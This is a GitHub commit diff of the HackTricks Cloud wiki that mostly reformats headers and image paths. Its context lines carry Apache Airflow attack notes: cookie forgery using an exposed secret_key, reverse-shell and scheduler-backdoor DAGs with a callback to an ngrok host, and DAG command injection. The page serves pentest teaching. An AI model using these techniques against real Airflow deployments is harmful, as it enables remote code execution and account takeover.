You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: README.md
+9-14Lines changed: 9 additions & 14 deletions
Original file line number
Diff line number
Diff line change
@@ -1,10 +1,8 @@
1
1
# HackTricks Cloud
2
2
3
-
<details>
4
-
5
3
{% hint style="success" %}
6
-
Learn & practice AWS Hacking:<imgsrc="/.gitbook/assets/image.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="/.gitbook/assets/image.png"alt=""data-size="line">\
7
-
Learn & practice GCP Hacking: <imgsrc="/.gitbook/assets/image (2).png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="/.gitbook/assets/image (2).png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
4
+
Learn & practice AWS Hacking:<imgsrc=".gitbook/assets/image (1).png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc=".gitbook/assets/image (1).png"alt=""data-size="line">\
5
+
Learn & practice GCP Hacking: <imgsrc=".gitbook/assets/image (2).png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc=".gitbook/assets/image (2).png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
Welcome to the page where you will find each **hacking trick/technique/whatever related to CI/CD & Cloud** I have learnt in **CTFs**, **real** life **environments**, **researching**, and **reading** researches and news.
26
24
{% endhint %}
27
25
28
-
## **Pentesting CI/CD Methodology**
26
+
###**Pentesting CI/CD Methodology**
29
27
30
28
**In the HackTricks CI/CD Methodology you will find how to pentest infrastructure related to CI/CD activities.** Read the following page for an **introduction:**
Learn & practice AWS Hacking:<imgsrc="/.gitbook/assets/image.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="/.gitbook/assets/image.png"alt=""data-size="line">\
61
-
Learn & practice GCP Hacking: <imgsrc="/.gitbook/assets/image (2).png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="/.gitbook/assets/image (2).png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
55
+
Learn & practice AWS Hacking:<imgsrc=".gitbook/assets/image (1).png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc=".gitbook/assets/image (1).png"alt=""data-size="line">\
56
+
Learn & practice GCP Hacking: <imgsrc=".gitbook/assets/image (2).png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc=".gitbook/assets/image (2).png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<imgsrc="/.gitbook/assets/image.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="/.gitbook/assets/image.png"alt=""data-size="line">\
5
-
Learn & practice GCP Hacking: <imgsrc="/.gitbook/assets/image (2).png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="/.gitbook/assets/image (2).png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
4
+
Learn & practice AWS Hacking:<imgsrc="../.gitbook/assets/image (1).png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="../.gitbook/assets/image (1).png"alt=""data-size="line">\
5
+
Learn & practice GCP Hacking: <imgsrc="../.gitbook/assets/image (2).png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="../.gitbook/assets/image (2).png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
6
6
7
7
<details>
8
8
@@ -152,8 +152,8 @@ From a **white box security** review, you would need the **System Auditor role**
152
152
</details>
153
153
154
154
{% hint style="success" %}
155
-
Learn & practice AWS Hacking:<imgsrc="/.gitbook/assets/image.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="/.gitbook/assets/image.png"alt=""data-size="line">\
156
-
Learn & practice GCP Hacking: <imgsrc="/.gitbook/assets/image (2).png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="/.gitbook/assets/image (2).png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
155
+
Learn & practice AWS Hacking:<imgsrc="../.gitbook/assets/image (1).png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="../.gitbook/assets/image (1).png"alt=""data-size="line">\
156
+
Learn & practice GCP Hacking: <imgsrc="../.gitbook/assets/image (2).png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="../.gitbook/assets/image (2).png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
Copy file name to clipboardExpand all lines: pentesting-ci-cd/apache-airflow-security/README.md
+18-22Lines changed: 18 additions & 22 deletions
Original file line number
Diff line number
Diff line change
@@ -1,10 +1,8 @@
1
1
# Apache Airflow Security
2
2
3
-
<details>
4
-
5
3
{% hint style="success" %}
6
-
Learn & practice AWS Hacking:<imgsrc="/.gitbook/assets/image.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="/.gitbook/assets/image.png"alt=""data-size="line">\
7
-
Learn & practice GCP Hacking: <imgsrc="/.gitbook/assets/image (2).png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="/.gitbook/assets/image (2).png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
4
+
Learn & practice AWS Hacking:<imgsrc="../../.gitbook/assets/image (1).png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="../../.gitbook/assets/image (1).png"alt=""data-size="line">\
5
+
Learn & practice GCP Hacking: <imgsrc="../../.gitbook/assets/image (2).png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="../../.gitbook/assets/image (2).png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
8
6
9
7
<details>
10
8
@@ -17,19 +15,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/image (2).png" alt="" d
17
15
</details>
18
16
{% endhint %}
19
17
20
-
## Basic Information
18
+
###Basic Information
21
19
22
20
[**Apache Airflow**](https://airflow.apache.org) serves as a platform for **orchestrating and scheduling data pipelines or workflows**. The term "orchestration" in the context of data pipelines signifies the process of arranging, coordinating, and managing complex data workflows originating from various sources. The primary purpose of these orchestrated data pipelines is to furnish processed and consumable data sets. These data sets are extensively utilized by a myriad of applications, including but not limited to business intelligence tools, data science and machine learning models, all of which are foundational to the functioning of big data applications.
23
21
24
22
Basically, Apache Airflow will allow you to **schedule de execution of code when something** (event, cron) **happens**.
25
23
26
-
## Local Lab
24
+
###Local Lab
27
25
28
-
### Docker-Compose
26
+
####Docker-Compose
29
27
30
28
You can use the **docker-compose config file from**[**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) to launch a complete apache airflow docker environment. (If you are in MacOS make sure to give at least 6GB of RAM to the docker VM).
31
29
32
-
### Minikube
30
+
####Minikube
33
31
34
32
One easy way to **run apache airflo**w is to run it **with minikube**:
Before start attacking Airflow you should understand **how permissions work**:
57
55
58
56
{% content-ref url="airflow-rbac.md" %}
59
57
[airflow-rbac.md](airflow-rbac.md)
60
58
{% endcontent-ref %}
61
59
62
-
## Attacks
60
+
###Attacks
63
61
64
-
### Web Console Enumeration
62
+
####Web Console Enumeration
65
63
66
64
If you have **access to the web console** you might be able to access some or all of the following information:
67
65
@@ -72,7 +70,7 @@ If you have **access to the web console** you might be able to access some or al
72
70
* List **users & roles**
73
71
***Code of each DAG** (which might contain interesting info)
74
72
75
-
### Retrieve Variables Values
73
+
####Retrieve Variables Values
76
74
77
75
Variables can be stored in Airflow so the **DAGs** can **access** their values. It's similar to secrets of other platforms. If you have **enough permissions** you can access them in the GUI in `http://<airflow>/variable/list/`.\
78
76
Airflow by default will show the value of the variable in the GUI, however, according to [**this**](https://marclamberti.com/blog/variables-with-apache-airflow/) it's possible to set a **list of variables** whose **value** will appear as **asterisks** in the **GUI**.
@@ -85,15 +83,15 @@ Another way is to perform a **bruteforce** to the **hidden value** using the **s
85
83
86
84
.png>)
87
85
88
-
### Privilege Escalation
86
+
####Privilege Escalation
89
87
90
88
If the **`expose_config`** configuration is set to **True**, from the **role User** and **upwards** can **read** the **config in the web**. In this config, the **`secret_key`** appears, which means any user with this valid they can **create its own signed cookie to impersonate any other user account**.
If you have **write access** to the place where the **DAGs are saved**, you can just **create one** that will send you a **reverse shell.**\
99
97
Note that this reverse shell is going to be executed inside an **airflow worker container**:
@@ -137,7 +135,7 @@ with DAG(
137
135
)
138
136
```
139
137
140
-
### DAG Backdoor (RCE in Airflow scheduler)
138
+
####DAG Backdoor (RCE in Airflow scheduler)
141
139
142
140
If you set something to be **executed in the root of the code**, at the moment of this writing, it will be **executed by the scheduler** after a couple of seconds after placing it inside the DAG's folder.
143
141
@@ -165,11 +163,11 @@ with DAG(
165
163
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
166
164
```
167
165
168
-
### DAG Creation
166
+
#### DAG Creation
169
167
170
168
If you manage to **compromise a machine inside the DAG cluster**, you can create new **DAGs scripts**in the `dags/` folder and they will be **replicated in the rest of the machines** inside the DAG cluster.
171
169
172
-
### DAG Code Injection
170
+
#### DAG Code Injection
173
171
174
172
When you execute a DAGfrom the GUI you can **pass arguments** to it.\
175
173
Therefore, if the DAGisnot properly coded it could be **vulnerable to Command Injection.**\
@@ -187,11 +185,9 @@ foo = Variable.get("foo")
187
185
188
186
If they are used for example inside a a bash command, you could perform a command injection.
189
187
190
-
<details>
191
-
192
188
{% hint style="success"%}
193
-
Learn & practice AWS Hacking:<img src="/.gitbook/assets/image.png"alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/image.png"alt="" data-size="line">\
194
-
Learn & practice GCP Hacking: <img src="/.gitbook/assets/image (2).png"alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/image (2).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
189
+
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1).png"alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1).png"alt="" data-size="line">\
190
+
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2).png"alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Copy file name to clipboardExpand all lines: pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
+4-4Lines changed: 4 additions & 4 deletions
Original file line number
Diff line number
Diff line change
@@ -1,8 +1,8 @@
1
1
# Airflow Configuration
2
2
3
3
{% hint style="success" %}
4
-
Learn & practice AWS Hacking:<imgsrc="/.gitbook/assets/image.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="/.gitbook/assets/image.png"alt=""data-size="line">\
5
-
Learn & practice GCP Hacking: <imgsrc="/.gitbook/assets/image (2).png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="/.gitbook/assets/image (2).png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
4
+
Learn & practice AWS Hacking:<imgsrc="../../.gitbook/assets/image (1).png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="../../.gitbook/assets/image (1).png"alt=""data-size="line">\
5
+
Learn & practice GCP Hacking: <imgsrc="../../.gitbook/assets/image (2).png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="../../.gitbook/assets/image (2).png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
6
6
7
7
<details>
8
8
@@ -122,8 +122,8 @@ AUTH_ROLE_PUBLIC = 'Admin'
122
122
```
123
123
124
124
{% hint style="success" %}
125
-
Learn & practice AWS Hacking:<imgsrc="/.gitbook/assets/image.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="/.gitbook/assets/image.png"alt=""data-size="line">\
126
-
Learn & practice GCP Hacking: <imgsrc="/.gitbook/assets/image (2).png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="/.gitbook/assets/image (2).png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
125
+
Learn & practice AWS Hacking:<imgsrc="../../.gitbook/assets/image (1).png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="../../.gitbook/assets/image (1).png"alt=""data-size="line">\
126
+
Learn & practice GCP Hacking: <imgsrc="../../.gitbook/assets/image (2).png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="../../.gitbook/assets/image (2).png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
Copy file name to clipboardExpand all lines: pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
+5-5Lines changed: 5 additions & 5 deletions
Original file line number
Diff line number
Diff line change
@@ -1,8 +1,8 @@
1
1
# Airflow RBAC
2
2
3
3
{% hint style="success" %}
4
-
Learn & practice AWS Hacking:<imgsrc="/.gitbook/assets/image.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="/.gitbook/assets/image.png"alt=""data-size="line">\
5
-
Learn & practice GCP Hacking: <imgsrc="/.gitbook/assets/image (2).png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="/.gitbook/assets/image (2).png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
4
+
Learn & practice AWS Hacking:<imgsrc="../../.gitbook/assets/image (1).png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="../../.gitbook/assets/image (1).png"alt=""data-size="line">\
5
+
Learn & practice GCP Hacking: <imgsrc="../../.gitbook/assets/image (2).png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="../../.gitbook/assets/image (2).png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
6
6
7
7
<details>
8
8
@@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/image (2).png" alt="" d
17
17
18
18
## RBAC
19
19
20
-
(From the docs)[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow ships with a **set of roles by default**: **Admin**, **User**, **Op**, **Viewer**, and **Public**. **Only `Admin`** users could **configure/alter the permissions for other roles**. But it is not recommended that `Admin` users alter these default roles in any way by removing or adding permissions to these roles.
20
+
(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow ships with a **set of roles by default**: **Admin**, **User**, **Op**, **Viewer**, and **Public**. **Only `Admin`** users could **configure/alter the permissions for other roles**. But it is not recommended that `Admin` users alter these default roles in any way by removing or adding permissions to these roles.
21
21
22
22
***`Admin`** users have all possible permissions.
23
23
***`Public`** users (anonymous) don’t have any permissions.
@@ -54,8 +54,8 @@ These are the default permissions per default role:
54
54
\[]
55
55
56
56
{% hint style="success" %}
57
-
Learn & practice AWS Hacking:<imgsrc="/.gitbook/assets/image.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="/.gitbook/assets/image.png"alt=""data-size="line">\
58
-
Learn & practice GCP Hacking: <imgsrc="/.gitbook/assets/image (2).png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="/.gitbook/assets/image (2).png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
57
+
Learn & practice AWS Hacking:<imgsrc="../../.gitbook/assets/image (1).png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="../../.gitbook/assets/image (1).png"alt=""data-size="line">\
58
+
Learn & practice GCP Hacking: <imgsrc="../../.gitbook/assets/image (2).png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="../../.gitbook/assets/image (2).png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
0 commit comments